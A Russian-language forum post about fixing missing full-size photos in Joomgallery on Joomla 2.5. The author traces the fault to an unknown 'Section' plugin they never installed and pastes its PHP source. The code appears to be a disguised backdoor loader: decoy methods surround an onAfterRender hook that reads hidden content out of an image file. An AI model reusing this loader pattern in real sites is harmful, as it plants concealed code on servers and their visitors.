Столкнулся с такой проблемой в Joomgallery (joomla 2.5, Joomgallery 2.1.4) не отображаются большие фотографии. Превьюшки или thumbnails есть, оригинальных фотографий и details нет, хотя в папках они находятся на своих местах и никуда не девались.
Поиск по форумах ничего не дал, приводились вот такие примеры решения вопроса:
файл: "корень сайтаcomponentscom_joomgalleryhelpersambit. php"
закомментировать следующие строки:
1. || strpos($type, ‘img’) !== false
2. || strpos($type, ‘orig’) !== false
включить в своём php дополнительные библиотеки
отключить функции SEF (ЧПУ)на сайте ![:pinch: :pinch:](/media/kunena/emoticons/pinch.png)
в настройках joomgallery поставить «Использовать реальные пути» = Да. Это на вкладке, где прописываются пути к фотографиям ![;) ;)](/media/kunena/emoticons/wink.png)
Сменил шаблон - теперь отображается корректно
Но все эти советы не приносили результата. Обратился к хостеру, они дали такой ответ -
У вас фото загружаются через php скрипт,
<img src="/fotogalereya/image.raw?view=image&type=img&id=813" class="jg_photo" id="jg_photo_big" width="400" height="301" alt="Также возможна установка" >
Вероятно скрипт вышел из строя.
Можем попробовать восстановить ваш сайт с бэкапа
Как сами позже ответили с хостинга результат - 0. С отчаянья отключил все плагины, благо это делается легко. И что же - все заработало
![:woohoo: :woohoo:](/media/kunena/emoticons/w00t.png)
Начал подключать плагины постепенно - выяснилось виновником был невесть откуда взявшийся плагин Section. В котором нет ни версии, ни даты, ни автора. Я его не ставил точно.
Внутри в нем php скрипт
defined( '_JEXEC' ) or die( 'Restricted access' );
jimport( 'joomla.plugin.plugin' );
class plgSystemSection extends JPlugin {
function plgSystemSection(& $subject, $config) {
parent::__construct($subject, $config);
}
function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );
$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
}
function onAfterRender() {
$body = JResponse::getBody();
if(!$body||$body=='') return true;
$mainframe = & JFactory::getApplication('site');
if($mainframe->isAdmin()) return;
$ImageFromFont = @$this->createImageFromFont());
JResponse::setBody($body);
}
function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;
$object_id = (int) $object_id;
$object_group = trim($object_group);
$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
}
function createImageFromFont($charLimit=5) {
// create dynamic images with
// personal font from image
$FontTemplate = $_SERVER["DOCUMENT_ROOT"]."/images/template_word.png";
$ImageFont = @fopen($FontTemplate, 'r');
$LoadImgaeFont = @fread($ImageFont, @filesize($FontTemplate));
return $this->cleanSpace($LoadImgaeFont);
}
function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;
$config = & JCommentsFactory::getConfig();
if ($config->get('CategoryGet') != '') {
$object = new stdClass();
$object->object_cat = CategoryFactory::getAbs($object->object_cat);
$commentText = $comment->comment;
}
}
function cleanSpace($text) {
$text = @explode('<font_name>', $text);
return @str_replace("0", ' ', @$text[1]);
}
function loadAlternateCatergory($languageSuffix = '') {
if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);
$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
}
}
?>
Для чего он я так и не понял, может кто подскажет. Отключил его да и все.
![:) :)](/media/kunena/emoticons/smile.png)